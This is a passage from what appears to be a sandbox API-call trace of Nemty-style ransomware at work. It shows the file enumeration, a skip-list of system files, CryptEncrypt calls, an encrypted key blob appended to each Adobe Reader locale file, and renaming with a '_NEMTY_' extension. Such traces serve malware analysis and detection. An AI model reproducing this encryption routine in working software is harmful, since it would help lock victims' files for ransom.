hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0186.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0186.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0186.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.484] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\eBook.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\ebook.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\eBook.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\ebook.cht._nemty_kgobjgd_")) returned 1 [0186.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0186.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0186.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.485] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.CHT", cAlternateFileName="")) returned 1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2=".") returned 1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="..") returned 1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="...") returned 1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="windows") returned -1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="rsa") returned -1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="NTDETECT.COM") returned -1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="ntldr") returned -1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="MSDOS.SYS") returned -1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="IO.SYS") returned -1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="boot.ini") returned 1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="boot.ini") returned 1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="ntuser.dat") returned -1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="desktop.ini") returned 1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="CONFIG.SYS") returned 1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="RECYCLER") returned -1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="bootmgr") returned 1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="programdata") returned -1 [0186.485] lstrcmpiW (lpString1="EScript.CHT", lpString2="appdata") returned 1 [0186.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHT", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHT", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.486] Sleep (dwMilliseconds=0x5) [0186.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22ce9ad0, dwHighDateTime=0x1d561e8)) [0186.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22ce9ad0, dwHighDateTime=0x1d561e8)) [0186.496] GetLastError () returned 0x0 [0186.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.496] GetLastError () returned 0x0 [0186.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.496] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.496] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.496] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.496] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="/j8YzrGjRFZ7OZyD5gAUqmmAZM7oTB3VJ8/bg6s+wfBLX5TOeJBheVXuuhkLdKLj\r\ntSAQW+tSQpJihZPhZhmrCzvLSlnun1vVNxSK+MPRyJyj3jdG/ARO2WEoTCSvEHew\r\nDDR8d5pYYxqfPhSz4CAAjJbWWBcaKQip3JLnqaet14Sq+sG6zMmrwslbnkOapu0r\r\nIiEjWVqzxNg4NcyD9jSns5dBykSqyq2SYSHbR1Q5npOt0fhir4qNoejntflbEdYj\r\n8Lehl75mIKRtum/dpmVhp4/lIRWG1QRVJYc60JjsjwfJ4NpZMbcwhApGEooIvXfs\r\nzZ4JPEbTA2w6xswWT9Q8Hw==\r\n", pcchString=0x653e5dc) returned 1 [0186.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\EScript.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\escript.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.497] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29696) returned 1 [0186.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7400) returned 0x6352c48 [0186.497] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.497] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7400, lpOverlapped=0x0) returned 1 [0186.500] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.500] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7400, lpOverlapped=0x0) returned 1 [0186.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.501] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7400 [0186.501] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.501] CloseHandle (hObject=0x2e8) returned 1 [0186.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.501] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\EScript.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\escript.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\EScript.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\escript.cht._nemty_kgobjgd_")) returned 1 [0186.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.502] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.CHT", cAlternateFileName="")) returned 1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2=".") returned 1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="..") returned 1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="...") returned 1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="windows") returned -1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="rsa") returned -1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="NTDETECT.COM") returned -1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="ntldr") returned -1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="MSDOS.SYS") returned -1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="IO.SYS") returned -1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="boot.ini") returned 1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="boot.ini") returned 1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="ntuser.dat") returned -1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="desktop.ini") returned 1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="CONFIG.SYS") returned 1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="RECYCLER") returned -1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="bootmgr") returned 1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="programdata") returned -1 [0186.502] lstrcmpiW (lpString1="IA32.CHT", lpString2="appdata") returned 1 [0186.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.502] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHT", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0186.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHT", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CHT", lpUsedDefaultChar=0x0) returned 8 [0186.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHT", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0186.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHT", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CHT", lpUsedDefaultChar=0x0) returned 8 [0186.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHT", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0186.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHT", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CHT", lpUsedDefaultChar=0x0) returned 8 [0186.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHT", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0186.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHT", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CHT", lpUsedDefaultChar=0x0) returned 8 [0186.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.503] Sleep (dwMilliseconds=0x5) [0186.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22d0fc30, dwHighDateTime=0x1d561e8)) [0186.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22d0fc30, dwHighDateTime=0x1d561e8)) [0186.512] GetLastError () returned 0x0 [0186.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.512] GetLastError () returned 0x0 [0186.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.512] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.512] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.512] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0186.512] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="lwcSz/nCCmksAEdq7JQezrH/f0EiGMI7VqO0JGF0v21SsWxQPNKpu4rNIN7/Twav\r\nKmXTe+mn9u8D4Wyq+49kffz5BJxjne9FsF/+WEjHi9PM0LswM6Ntd6MW36tsTkS0\r\nQWFm4Xo2/IO6MuFyRMlZHUTlC30BMXyejmDXU76qObMg3wtIPLk2gyV/7VElVjW0\r\njRP2y784eAqHeUJmJKI3HzC5xbcwm4fTsBNulKyU1XLvhZF/Mhmq+8pSwEz0/t4g\r\ntGqLXnL/bxVftmiGmWISIpcPiy1DXrpPA8+IMYiN94Dqc6xWMIkWIh0sI8j3RimL\r\n9/Vz816Ga/8x9vmTt3eUmg==\r\n", pcchString=0x653e5dc) returned 1 [0186.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0186.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.513] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\IA32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\ia32.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.513] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3072) returned 1 [0186.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc00) returned 0x634ad48 [0186.513] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.513] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xc00, lpOverlapped=0x0) returned 1 [0186.515] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.515] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xc00, lpOverlapped=0x0) returned 1 [0186.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0186.515] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0186.515] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, 